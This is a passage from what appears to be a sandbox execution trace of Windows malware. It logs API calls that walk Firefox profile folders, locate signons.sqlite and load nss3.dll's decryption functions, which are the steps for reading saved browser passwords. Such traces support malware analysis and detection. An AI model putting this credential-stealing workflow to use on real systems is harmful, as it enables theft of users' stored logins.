(lpFirst="sessionstore.bak", lpSrch="signons.sqlite") returned 0x0 [0070.993] lstrlenA (lpString="sessionstore.bak") returned 16 [0070.993] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.txt") returned 0x0 [0070.993] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons2.txt") returned 0x0 [0070.993] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons3.txt") returned 0x0 [0070.993] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.993] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.sqlite") returned 0x0 [0070.993] lstrlenA (lpString="sessionstore.js") returned 15 [0070.993] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.txt") returned 0x0 [0070.993] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons2.txt") returned 0x0 [0070.993] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons3.txt") returned 0x0 [0070.993] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.993] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.sqlite") returned="signons.sqlite" [0070.993] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.993] lstrlenA (lpString="\\") returned 1 [0070.993] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.993] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.993] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.993] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.993] lstrlenA (lpString="signons.sqlite") returned 14 [0070.993] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x641518 [0070.993] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.993] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="signons.sqlite" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" [0070.993] LocalFree (hMem=0x6275a8) returned 0x0 [0070.993] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0070.993] CloseHandle (hObject=0x151) returned 1 [0070.993] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x5b [0070.993] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x65d330 [0070.993] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite", lpDst=0x65d330, nSize=0x5b | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite") returned 0x5a [0070.993] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0070.994] CloseHandle (hObject=0x151) returned 1 [0070.994] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0070.994] GetFileSize (in: hFile=0x151, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x50000 [0070.994] CreateFileMappingA (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x14c [0070.994] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x16d0000 [0070.996] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x65d418 [0070.996] UnmapViewOfFile (lpBaseAddress=0x16d0000) returned 1 [0070.999] CloseHandle (hObject=0x14c) returned 1 [0070.999] CloseHandle (hObject=0x150) returned 1 [0070.999] LocalFree (hMem=0x65d330) returned 0x0 [0070.999] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.999] SetCurrentDirectoryA (lpPathName="C:\\Program Files\\Mozilla Firefox" (normalized: "c:\\program files\\mozilla firefox")) returned 1 [0070.999] LoadLibraryA (lpLibFileName="nss3.dll") returned 0x6ddb0000 [0070.999] GetProcAddress (hModule=0x6ddb0000, lpProcName="NSS_Init") returned 0x6de6d70b [0071.000] GetProcAddress (hModule=0x6ddb0000, lpProcName="NSS_Shutdown") returned 0x6de6d13c [0071.000] GetProcAddress (hModule=0x6ddb0000, lpProcName="NSSBase64_DecodeBuffer") returned 0x6de6e7d9 [0071.000] GetProcAddress (hModule=0x6ddb0000, lpProcName="SECITEM_FreeItem") returned 0x6de6e656 [0071.000] GetProcAddress (hModule=0x6ddb0000, lpProcName="PK11_GetInternalKeySlot") returned 0x6de03c51 [0071.000] GetProcAddress (hModule=0x6ddb0000, lpProcName="PK11_Authenticate") returned 0x6dded3ca [0071.000] GetProcAddress (hModule=0x6ddb0000, lpProcName="PK11SDR_Decrypt") returned 0x6de000a7 [0071.000] GetProcAddress (hModule=0x6ddb0000, lpProcName="PK11_FreeSlot") returned 0x6de03333 [0071.000] NSS_Init () returned 0x0 [0071.010] PK11_GetInternalKeySlot () returned 0x1921000 [0071.010] PK11_Authenticate () returned 0x0 [0071.010] LoadLibraryA (lpLibFileName="mozsqlite3.dll") returned 0x0 [0071.010] LoadLibraryA (lpLibFileName="sqlite3.dll") returned 0x0 [0071.010] PK11_FreeSlot () returned 0x1921000 [0071.010] NSS_Shutdown () returned 0x0 [0071.014] LocalFree (hMem=0x641518) returned 0x0 [0071.014] lstrlenA (lpString="signons.sqlite") returned 14 [0071.014] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.txt") returned 0x0 [0071.014] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.014] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.014] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0071.014] StrStrIA (lpFirst="times.json", lpSrch="signons.sqlite") returned 0x0 [0071.014] lstrlenA (lpString="times.json") returned 10 [0071.014] StrStrIA (lpFirst="times.json", lpSrch="signons.txt") returned 0x0 [0071.014] StrStrIA (lpFirst="times.json", lpSrch="signons2.txt") returned 0x0 [0071.014] StrStrIA (lpFirst="times.json", lpSrch="signons3.txt") returned 0x0 [0071.014] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0071.014] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.sqlite") returned 0x0 [0071.014] lstrlenA (lpString="urlclassifierkey3.txt") returned 21 [0071.014] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.txt") returned 0x0 [0071.014] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons2.txt") returned 0x0 [0071.014] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons3.txt") returned 0x0 [0071.014] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0071.014] lstrcmpiA (lpString1=".", lpString2="webapps") returned -1 [0071.014] lstrcmpiA (lpString1="..", lpString2="webapps") returned -1 [0071.014] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0071.014] lstrlenA (lpString="\\") returned 1 [0071.014] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0071.014] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0071.014] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.014] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0071.014] lstrlenA (lpString="webapps") returned 7 [0071.014] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x65b348 [0071.014] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.014] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="webapps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" [0071.014] LocalFree (hMem=0x6275a8) returned 0x0 [0071.014] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned 82 [0071.014] lstrlenA (lpString="\\*.*") returned 4 [0071.014] LocalAlloc (uFlags=0x40, uBytes=0xd7) returned 0x65b428 [0071.014] lstrcpyA (in: lpString1=0x65b428, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" [0071.015] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*" [0071.015] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*", lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 0x6426e8 [0071.015] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.015] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 1 [0071.015] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.015] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.015] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 1 [0071.015] StrStrIA (lpFirst="webapps.json", lpSrch="signons.sqlite") returned 0x0 [0071.015] lstrlenA (lpString="webapps.json") returned 12 [0071.015] StrStrIA (lpFirst="webapps.json", lpSrch="signons.txt") returned 0x0 [0071.015] StrStrIA (lpFirst="webapps.json", lpSrch="signons2.txt") returned 0x0 [0071.015] StrStrIA (lpFirst="webapps.json", lpSrch="signons3.txt") returned 0x0 [0071.015] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 0 [0071.015] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0071.015] LocalFree (hMem=0x65b428) returned 0x0 [0071.015] LocalFree (hMem=0x65b348) returned 0x0 [0071.015] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0071.015] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.015] lstrlenA (lpString="webappsstore.sqlite") returned 19 [0071.015] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.txt") returned 0x0 [0071.015] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.015] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.015] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 0 [0071.015] FindClose (in: hFindFile=0x6426a8 | out: hFindFile=0x6426a8) returned 1 [0071.016] LocalFree (hMem=0x627320) returned 0x0 [0071.016] LocalFree (hMem=0x627248) returned 0x0 [0071.016] LocalFree (hMem=0x643c28) returned 0x0 [0071.016] LocalFree (hMem=0x6721b0) returned 0x0 [0071.016] LocalFree (hMem=0x65e350) returned 0x0 [0071.016] LocalFree (hMem=0x662338) returned 0x0 [0071.016] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0071.016] lstrlenA (lpString="*.*") returned 3 [0071.016] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x643c28 [0071.016] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0071.016] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\*.*" [0071.016] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\*.*", lpFindFileData=0x12fb7a | out: lpFindFileData=0x12fb7a) returned 0x6426a8 [0071.016] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.016] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb7a | out: lpFindFileData=0x12fb7a) returned 1 [0071.016] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.016] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.016] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb7a | out: lpFindFileData=0x12fb7a) returned 1 [0071.016] lstrcmpiA (lpString1=".", lpString2="Crash Reports") returned -1 [0071.016] lstrcmpiA (lpString1="..", lpString2="Crash Reports") returned -1 [0071.016] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0071.016] lstrlenA (lpString="") returned 0 [0071.016] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643ce8 [0071.016] lstrcpyA (in: lpString1=0x643ce8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0071.016] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0071.016] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0071.016] lstrlenA (lpString="Crash Reports") returned 13 [0071.016] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x65e350 [0071.016] lstrcpyA (in: lpString1=0x65e350, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0071.016] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Crash Reports" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" [0071.016] LocalFree (hMem=0x643ce8) returned 0x0 [0071.016] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned 62 [0071.016] lstrlenA (lpString="\\*.*") returned 4 [0071.016] LocalAlloc (uFlags=0x40, uBytes=0xc3) returned 0x65d330 [0071.016] lstrcpyA (in: lpString1=0x65d330, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" [0071.016] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*" [0071.016] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*", lpFindFileData=0x12fa12 | out: lpFindFileData=0x12fa12) returned 0x6426e8 [0071.017] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.017] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa12 | out: lpFindFileData=0x12fa12) returned 1 [0071.017] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.017] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.017] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa12 | out: lpFindFileData=0x12fa12) returned 1 [0071.017] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons.sqlite") returned 0x0 [0071.017] lstrlenA (lpString="InstallTime20131025151332") returned 25 [0071.017] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons.txt") returned 0x0 [0071.017] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons2.txt") returned 0x0 [0071.017] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons3.txt") returned 0x0 [0071.017] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa12 | out: lpFindFileData=0x12fa12) returned 0 [0071.017] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0071.017] LocalFree (hMem=0x65d330) returned 0x0 [0071.017] LocalFree (hMem=0x65e350) returned 0x0 [0071.017] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb7a | out: lpFindFileData=0x12fb7a) returned 1 [0071.017] lstrcmpiA (lpString1=".", lpString2="Profiles") returned -1 [0071.017] lstrcmpiA (lpString1="..", lpString2="Profiles") returned -1 [0071.017] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0071.017] lstrlenA (lpString="") returned 0 [0071.017] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643ce8 [0071.017] lstrcpyA (in: lpString1=0x643ce8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0071.017] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0071.017] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0071.017] lstrlenA (lpString="Profiles") returned 8 [0071.017] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x65e350 [0071.017] lstrcpyA (in: lpString1=0x65e350, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0071.017] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Profiles" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0071.017] LocalFree (hMem=0x643ce8) returned 0x0 [0071.017] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 57 [0071.017] lstrlenA (lpString="\\*.*") returned 4 [0071.017] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x65d330 [0071.017] lstrcpyA (in: lpString1=0x65d330, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0071.017] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*" [0071.017] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0x12fa12 | out: lpFindFileData=0x12fa12) returned 0x6426e8 [0071.017] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.017] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa12 | out: lpFindFileData=0x12fa12) returned 1 [0071.017] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.017] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.017] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa12 | out: lpFindFileData=0x12fa12) returned 1 [0071.017] lstrcmpiA (lpString1=".", lpString2="h231daer.default") returned -1 [0071.018] lstrcmpiA (lpString1="..", lpString2="h231daer.default") returned -1 [0071.018] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 57 [0071.018] lstrlenA (lpString="\\") returned 1 [0071.018] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x641518 [0071.018] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0071.018] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0071.018] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned 58 [0071.018] lstrlenA (lpString="h231daer.default") returned 16 [0071.018] LocalAlloc (uFlags=0x40, uBytes=0xcb) returned 0x627248 [0071.018] lstrcpyA (in: lpString1=0x627248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0071.018] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpString2="h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0071.018] LocalFree (hMem=0x641518) returned 0x0 [0071.018] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0071.018] lstrlenA (lpString="\\*.*") returned 4 [0071.018] LocalAlloc (uFlags=0x40, uBytes=0xcf) returned 0x627320 [0071.018] lstrcpyA (in: lpString1=0x627320, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0071.018] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*" 